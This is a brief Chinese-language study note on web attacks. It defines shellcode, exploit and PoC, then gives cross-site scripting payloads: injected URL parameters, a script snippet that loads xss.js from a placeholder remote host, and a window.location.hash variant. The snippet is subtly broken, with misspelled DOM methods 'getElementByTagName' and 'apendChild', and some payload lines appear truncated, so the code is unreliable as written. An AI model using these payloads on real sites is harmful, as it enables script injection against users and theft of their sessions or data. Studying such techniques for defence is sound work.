- shellcode:最初是指溢出程序和蠕虫病毒核心,实际上是指利用漏洞所执行的一段代码
- Exploit:英文意思利用,编写好的漏洞利用工具或程序,具有攻击性
- Poc:Proof of Concept缩写,是一段证明漏洞存在的程序代码
- 动态调用远程Javascript(缺点是URL中容易显露出来)
- 格式:
https://www.xxxxx.com/index.php?sort=[exploit]
https://www.xxxx.com/view.php?sort=">
#或者赋值变量动态创建,假设机子的脚本位xss.js 如:
var s=document.createElement("script")
s.src="http://wwww.xxxx.com/xss.js";
document.getElementByTagName("head")[0].apendChild(s);
#当然这里亦可以使用jQuery来写是一样,而且会更简洁
- 使用window.location.hash(这种方式不需要加载服务器上的脚本) ,示例:
http://www.xxxx.com/view.php?sort=">#alert('xss')